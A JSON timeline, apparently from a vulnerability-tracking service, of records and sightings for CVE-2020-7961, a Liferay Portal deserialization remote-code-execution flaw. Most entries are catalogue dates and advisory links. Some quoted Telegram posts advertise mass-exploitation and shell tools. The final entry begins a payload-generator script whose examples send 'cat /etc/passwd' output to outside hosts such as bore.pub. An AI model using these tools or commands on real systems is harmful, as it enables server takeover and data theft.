{"metadata": {"vulnerability": "cve-2020-7961", "count": 70, "kinds": {"milestone": 4, "sighting": 35, "kev": 11, "other": 20}}, "data": [{"timestamp": "2020-01-24T00:00:00Z", "date_only": false, "value": "2020-01-24T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2020-7961", "field": "cveMetadata.dateReserved"}, {"timestamp": "2020-03-20T18:16:42Z", "date_only": false, "value": "2020-03-20T18:16:42.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2020-7961", "field": "cveMetadata.datePublished"}, {"timestamp": "2020-03-20T19:15:00Z", "date_only": false, "value": "2020-03-20T19:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-W7PM-CC4V-F3G8", "record": "GHSA-W7PM-CC4V-F3G8", "field": "database_specific.nvd_published_at"}, {"timestamp": "2020-03-20T19:15:00Z", "date_only": false, "value": "2020-03-20T19:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2020-03-20T19:15:12.737Z", "date_only": false, "value": "2020-03-20T19:15:12.737", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-7961", "record": "FKIE_CVE-2020-7961", "field": "published"}, {"timestamp": "2020-03-23T00:00:00Z", "date_only": true, "value": "2020-03-23", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2020-19506", "record": "CNVD-2020-19506", "field": "submitTime"}, {"timestamp": "2020-03-25T00:00:00Z", "date_only": true, "value": "2020-03-25", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2020-19506", "record": "CNVD-2020-19506", "field": "openTime"}, {"timestamp": "2020-03-30T13:40:04Z", "date_only": false, "value": "2020-03-30T13:40:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/4056", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "0555e93a-1bbd-4283-a106-a70746700aa5", "content": "POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 https://github.com/mzer0one/CVE-2020-7961-POC", "url": "https://t.me/thebugbountyhunter/4056"}, {"timestamp": "2020-04-15T04:46:00Z", "date_only": false, "value": "2020-04-15T04:46:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/liferay_java_unmarshalling.rb", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "43dcc008-3248-42e3-b310-9d088f886939", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/liferay_java_unmarshalling.rb"}, {"timestamp": "2020-04-16T00:00:00Z", "date_only": false, "value": "2020-04-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://www.exploit-db.com/exploits/48332", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "842ebe52-5e4c-4368-bc35-3c4d89d442bf", "url": "https://www.exploit-db.com/exploits/48332"}, {"timestamp": "2021-01-19T16:09:25Z", "date_only": false, "value": "2021-01-19T16:09:25.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2020-7961", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-01-30T02:31:00Z", "date_only": false, "value": "2021-01-30T02:31Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2021-02-05T21:43:47Z", "date_only": false, "value": "2021-02-05T21:43:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/liferay_portal/cve20207961", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "9c848fc8-2062-4a04-bcbc-1c3b77b271ca", "url": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/liferay_portal/cve20207961"}, {"timestamp": "2021-06-17T00:51:48Z", "date_only": false, "value": "2021-06-17T00:51:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pwnwiki_zhchannel/662", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "7c34cc0a-616b-466f-bf13-65a5a8800011", "content": "CVE-2020-7961 Liferay Portal Json Web Service \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-7961_Liferay_Portal_Json_Web_Service_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E", "url": "https://t.me/pwnwiki_zhchannel/662"}, {"timestamp": "2021-08-25T13:22:18Z", "date_only": false, "value": "2021-08-25T13:22:18.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/2035", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "4547f838-c3bd-40ab-893b-89d088d7d3f2", "content": "\u200b\u200b\u0410\u0434\u043c\u0438\u043d\u0430\u043c \u043d\u0430 \u0437\u0430\u043c\u0435\u0442\u043a\u0443! \n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0437\u043d\u0430\u043b\u0438 \u0447\u0435\u043c \u0441\u0435\u0431\u044f \u0437\u0430\u043d\u044f\u0442\u044c \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0431\u0443\u0434\u043d\u0438, \u0442\u043e \u0441\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0435\u0432\u0438\u0437\u0438\u044e \u0441\u0435\u0442\u0435\u0439 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Trend Micro \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0438\u0437 \u0422\u041e\u041f-15 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Linux:\n\n- CVE-2017-9805: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d\u0430 REST \u0434\u043b\u044f Apache Struts 2, XStream RCE.\n- CVE-2018-7600: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Drupal Core RCE.\n- CVE-2020-14750: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Oracle WebLogic Server RCE.\n- CVE-2020-25213: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u043f\u043b\u0430\u0433\u0438\u043d\u0430 WordPress File Manager (wp-file-manager).\n- CVE-2020-17496: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 vBulletin subwidgetConfig\n- CVE-2020-11651: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0431\u0430\u0433\u043e\u0432 \u0432 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 SaltStack Salt.\n- CVE-2017-12611: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0438 OGNL \u0432 Apache Struts.\n- CVE-2017-7657: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u0438\u043d\u044b \u0431\u043b\u043e\u043a\u0430 Eclipse Jetty.\n- CVE-2021-29441: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Alibaba Nacos AuthFilter.\n- CVE-2020-14179: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Atlassian Jira, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n- CVE-2013-4547: Nginx \u0441\u043e\u0437\u0434\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 URI.\n- CVE-2019-0230: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Apache Struts 2 RCE.\n- CVE-2018-11776: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0438 OGNL \u0432 Apache Struts.\n- CVE-2020-7961: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 Liferay Portal.\n\n\u0420\u0430\u0431\u043e\u0442\u043d\u0435\u043c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439.", "url": "https://t.me/true_secator/2035"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2020-7961", "field": "timestamps.asserted_at", "uuid": "617c6eff-8636-45f1-8ba4-a2b6949d071a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2020-7961", "field": "timestamps.asserted_at", "uuid": "619dd78c-0232-45b2-94d7-79a8a96cbdec", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "cve-2020-7961", "field": "containers.adp.1.metrics.2.other.content.dateAdded"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "other", "label": "Catalog added", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "namespaces.cisa.gov.dateAdded"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2020-7961", "field": "evidence.0.details.added_date", "uuid": "619dd78c-0232-45b2-94d7-79a8a96cbdec", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2020-7961", "field": "evidence.0.details.date_added", "uuid": "617c6eff-8636-45f1-8ba4-a2b6949d071a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2020-7961", "field": "timestamps.first_seen_at", "uuid": "617c6eff-8636-45f1-8ba4-a2b6949d071a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2020-7961", "field": "timestamps.first_seen_at", "uuid": "619dd78c-0232-45b2-94d7-79a8a96cbdec", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2020-7961", "field": "status.status_updated_at", "uuid": "617c6eff-8636-45f1-8ba4-a2b6949d071a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2020-7961", "field": "status.status_updated_at", "uuid": "619dd78c-0232-45b2-94d7-79a8a96cbdec", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "cve-2020-7961", "field": "containers.adp.1.timeline.0.time"}, {"timestamp": "2021-11-08T08:58:18Z", "date_only": false, "value": "2021-11-08T08:58:18.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "5c7d28dc-89bf-449d-8b08-2e4e7f530fca"}, {"timestamp": "2021-11-20T09:53:52Z", "date_only": false, "value": "2021-11-20T09:53:52.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "37040d8e-b344-4173-9b03-cdd920bddf28"}, {"timestamp": "2022-05-03T00:00:00Z", "date_only": true, "value": "2022-05-03", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2020-7961", "field": "evidence.0.details.due_date", "uuid": "617c6eff-8636-45f1-8ba4-a2b6949d071a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-05-03T00:00:00Z", "date_only": true, "value": "2022-05-03", "kind": "other", "label": "Remediation due", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "namespaces.cisa.gov.dueDate"}, {"timestamp": "2022-05-14T19:49:09Z", "date_only": false, "value": "2022-05-14T19:49:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/_JklJMa5Ti5t7LVROqdFcwMccnlDJksoXS_-FF-ronoHYHCu", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "dc883f87-e901-4325-b02c-7b49f3abd021"}, {"timestamp": "2022-05-14T20:19:12Z", "date_only": false, "value": "2022-05-14T20:19:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/bYgGR2Ko8QqgBdBnz2mJdpD0cE5gPnuKPtXHvM2SD_iTQBVU", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "a8632cf1-63ae-4e86-806d-e1e65e294fe8"}, {"timestamp": "2022-05-24T00:00:00Z", "date_only": true, "value": "2022-05-24", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "namespaces.gitlab.com.advisories.0.pubdate"}, {"timestamp": "2022-05-24T17:12:05Z", "date_only": false, "value": "2022-05-24T17:12:05Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-W7PM-CC4V-F3G8", "record": "GHSA-W7PM-CC4V-F3G8", "field": "published"}, {"timestamp": "2022-06-23T00:00:00Z", "date_only": true, "value": "2022-06-23", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "namespaces.gitlab.com.advisories.0.date"}, {"timestamp": "2022-07-13T13:02:16Z", "date_only": false, "value": "2022-07-13T13:02:16.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/8bf50bb8-94dd-4004-a646-5f78db6f0b6a", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "4a61c971-34b3-4e8a-976c-2f8b98589766"}, {"timestamp": "2022-07-16T12:14:45Z", "date_only": false, "value": "2022-07-16T12:14:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hackingtoolsprvi8/2167", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "2a2da57c-ce4e-4558-80b0-3485f0843c08", "content": "password : 123", "url": "https://t.me/hackingtoolsprvi8/2167"}, {"timestamp": "2023-09-15T06:35:07Z", "date_only": false, "value": "2023-09-15T06:35:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/hackingtoolsprvi8/2168", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "30df318a-952d-46e8-b590-1fd4abcfd7e2", "content": "RCE MASS Liferay Portal Unauthenticated RCE cve-2020-7961 (2020)\n\nPython Version : Python3\n\nUsage :\npython3 -m install requests colorama\n\npython3 rce.py urllist.txt ( For a single target )\n\npython3 mass.py urllist.txt ( For a list target )\n\nSaved file to: linux.txt, win.txt\n\nAFTER get Vulnerability site get shell by python shell.py url.com ( vuln scanned by rce )\n\nLink Download : HERE", "url": "https://t.me/hackingtoolsprvi8/2168"}, {"timestamp": "2023-11-23T11:23:59Z", "date_only": false, "value": "2023-11-23T11:23:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Blackhat_Officials/834", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "802d4b06-0633-4484-900e-97f44a2d6fdd", "content": "Python cve-2020-7961.py\n\nPython cve-2020-7961.py -f url.txt\n\n\u6267\u884c whoami \u547d\u4ee4 \n\n#py", "url": "https://t.me/Blackhat_Officials/834"}, {"timestamp": "2023-11-25T05:28:53Z", "date_only": false, "value": "2023-11-25T05:28:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/1572", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "d4602890-6341-45dd-bd77-c71f2cc5c53d", "content": "Python cve-2020-7961.py\n\nPython cve-2020-7961.py -f url.txt\n\n\u6267\u884c whoami \u547d\u4ee4 \n\n#py", "url": "https://t.me/CNArsenal/1572"}, {"timestamp": "2023-11-27T21:23:30Z", "date_only": false, "value": "2023-11-27T21:23:30.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/591", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "a70977ce-1c4b-4431-be63-8eb9b6a7116d", "content": "#ExploitObserverAlert\n\nCVE-2020-7961\n\nDESCRIPTION: Exploit Observer has 106 entries related to CVE-2020-7961. Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).\n\nFIRST-EPSS: 0.973420000\nNVD-IS: 5.9\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/591"}, {"timestamp": "2023-12-13T01:21:52.328Z", "date_only": false, "value": "2023-12-13T01:21:52.328552Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2020-7961", "record": "GSD-2020-7961", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-05-22T06:15:17Z", "date_only": false, "value": "2024-05-22T06:15:17.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/2661", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "1d8e989f-64b2-450d-98dc-a40345fd5962", "content": "#Analytics\n10 most exploited vulnerabilities of the week (feb 1-7)\nCVE-2020-1350 - Exploit SIGRed/Windows DNS Server RCE\nhttps://t.me/cybersecuritytechnologies/1422\nCVE-2021-3156 - Heap-Based Buffer Overflow in Sudo\nhttps://t.me/cybersecuritytechnologies/2577\nCVE-2020-7961 - Arbitrary code execution via JSONWS\nhttps://t.me/cybersecuritytechnologies/869\nCVE-2021-25646 - Apache Druid <=0.20.1 RCE\nhttps://t.me/cybersecuritytechnologies/2639\nCVE-2020-27932 - A type confusion in MacOS 10.15.7\nhttps://t.me/cybersecuritytechnologies/2383\nCVE-2019-9041 - ZzzCMS RCE\nhttps://mobile.twitter.com/i/web/status/1357931580098899970\nCVE-2021-22122 - XSS vulnerability in FortiWeb\nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2021-22122\nCVE-2019-5127 - A cmd injection in YouPHPTube Encoder\nhttps://mobile.twitter.com/i/web/status/1357546718821142528\nCVE-2020-17523 - Apache Shiro pathMatches Auth. Bypass\nhttps://t.me/cybersecuritytechnologies/2650", "url": "https://t.me/CyberSecurityTechnologies/2661"}, {"timestamp": "2024-08-04T09:48:24.538Z", "date_only": false, "value": "2024-08-04T09:48:24.538Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2020-7961", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-18T16:42:40Z", "date_only": false, "value": "2024-10-18T16:42:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/867", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "372cd27a-ca4b-47f3-9a17-c76c4023ab18", "content": "#exploit\n1. CVE-2020-8816:\nPi-hole RCE PoC\nhttps://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution\n\n2. CVE-2020-7961:\nDeserialization of Untrusted Data in Liferay Portal <7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSONWS\nhttps://github.com/mzer0one/CVE-2020-7961-POC\n]-> Generator: https://gist.github.com/testanull/4f8a9305b5b57ab8e7f15bbb0fb93461\n]-> Payload: https://gist.github.com/testanull/4bb77519acf2c8e919f8d9b015eda880\n]-> Debug diary: https://m.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/cve-2020-7961-debug-diary-liferay-deserialization-part-5/2802738799840067", "url": "https://t.me/CyberSecurityTechnologies/867"}, {"timestamp": "2024-12-24T20:23:35.326Z", "date_only": false, "value": "2024-12-24T20:23:35.326164Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971052", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "f6fa76e4-93d6-40f2-8381-da9c64988dc1", "url": "https://feedsin.space/feed/CISAKevBot/items/2971052"}, {"timestamp": "2025-02-04T19:57:35.405Z", "date_only": false, "value": "2025-02-04T19:57:35.405600Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2020-7961", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-02-04T19:57:35.405Z", "date_only": false, "value": "2025-02-04T19:57:35.405600Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-7961", "record": "FKIE_CVE-2020-7961", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-02-06T03:13:44Z", "date_only": false, "value": "2025-02-06T03:13:44.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "b72229e0-2fcb-40eb-8b46-cabf8154d9c5"}, {"timestamp": "2025-02-23T02:09:49Z", "date_only": false, "value": "2025-02-23T02:09:49.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "ef8dcbaa-fc55-4db3-b12a-859cc08826f8"}, {"timestamp": "2025-02-23T04:10:31Z", "date_only": false, "value": "2025-02-23T04:10:31.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "e106a6f9-80ed-4609-896c-58fdfac1b75c"}, {"timestamp": "2025-10-21T23:35:47.558Z", "date_only": false, "value": "2025-10-21T23:35:47.558Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2020-7961", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T23:35:47.558Z", "date_only": false, "value": "2025-10-21T23:35:47.558Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2020-7961", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T17:48:54Z", "date_only": false, "value": "2025-10-22T17:48:54Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-W7PM-CC4V-F3G8", "record": "GHSA-W7PM-CC4V-F3G8", "field": "modified"}, {"timestamp": "2026-02-02T12:25:39Z", "date_only": false, "value": "2026-02-02T12:25:39+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2020-7961", "field": "timestamps.recorded_at", "uuid": "617c6eff-8636-45f1-8ba4-a2b6949d071a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-02T12:28:47.936Z", "date_only": false, "value": "2026-02-02T12:28:47.936252Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/617c6eff-8636-45f1-8ba4-a2b6949d071a", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "c6207810-458d-42d9-990e-20de83aa1683", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/617c6eff-8636-45f1-8ba4-a2b6949d071a"}, {"timestamp": "2026-03-05T21:21:50.245Z", "date_only": false, "value": "2026-03-05T21:21:50.245154Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mgdq56gqoy2g", "record": "cve-2020-7961", "field": "creation_timestamp", "uuid": "918353bc-d3db-4acd-b3b0-f3b4dfaf0305", "url": "https://bsky.app/profile/securitycipher.bsky.social/post/3mgdq56gqoy2g"}, {"timestamp": "2026-06-17T03:25:42.180Z", "date_only": false, "value": "2026-06-17T03:25:42.180", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-7961", "record": "FKIE_CVE-2020-7961", "field": "lastModified"}, {"timestamp": "2026-06-19T12:47:48.107Z", "date_only": false, "value": "2026-06-19T12:47:48.107036Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d89f303a-c1d9-4cfe-9083-4b49c3dd9926", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "d09f68f7-a052-4420-a869-983f5cb5fd8d", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d89f303a-c1d9-4cfe-9083-4b49c3dd9926"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2020-7961", "field": "timestamps.recorded_at", "uuid": "619dd78c-0232-45b2-94d7-79a8a96cbdec", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:04:40.822Z", "date_only": false, "value": "2026-06-23T14:04:40.822949Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/619dd78c-0232-45b2-94d7-79a8a96cbdec", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "e7dfdde1-d7d0-472f-b733-832ecdf5cbeb", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/619dd78c-0232-45b2-94d7-79a8a96cbdec"}, {"timestamp": "2026-07-20T21:03:55.541Z", "date_only": false, "value": "2026-07-20T21:03:55.541191Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/LVy-H/daa99a59da63473d94ce09d186e24861", "record": "CVE-2020-7961", "field": "creation_timestamp", "uuid": "499e5fad-e27d-46b1-8e7c-c2ca8204acb8", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2020-7961 payload generator \u2014 Liferay Portal JSONWS deserialization RCE\nPatches the Apache Commons Collections gadget chain with arbitrary JavaScript.\n\nUsage:\n  python3 cve_2020_7961.py    [options]\n\nExamples:\n  python3 cve_2020_7961.py \"id\" \"bore.pub:9999\"\n  python3 cve_2020_7961.py \"cat /etc/passwd\" \"abc.oastify.com\" --burp\n  python3 cve_2020_7961.py \"whoami\" \"bore.pub:1234\" --host target.com:8080 --p-auth l8T5rvIy\n\"\"\"\n\nimport os, sys, urllib.parse, argparse\n\n# Base gadget chain \u2014 Apache Commons Collections 3.1 + ScriptEngine (Java serialized object)\n# Source: cve_oob_payload.hex (OOB DNS-only payload confirmed working on this target)\n# JS string is at byte 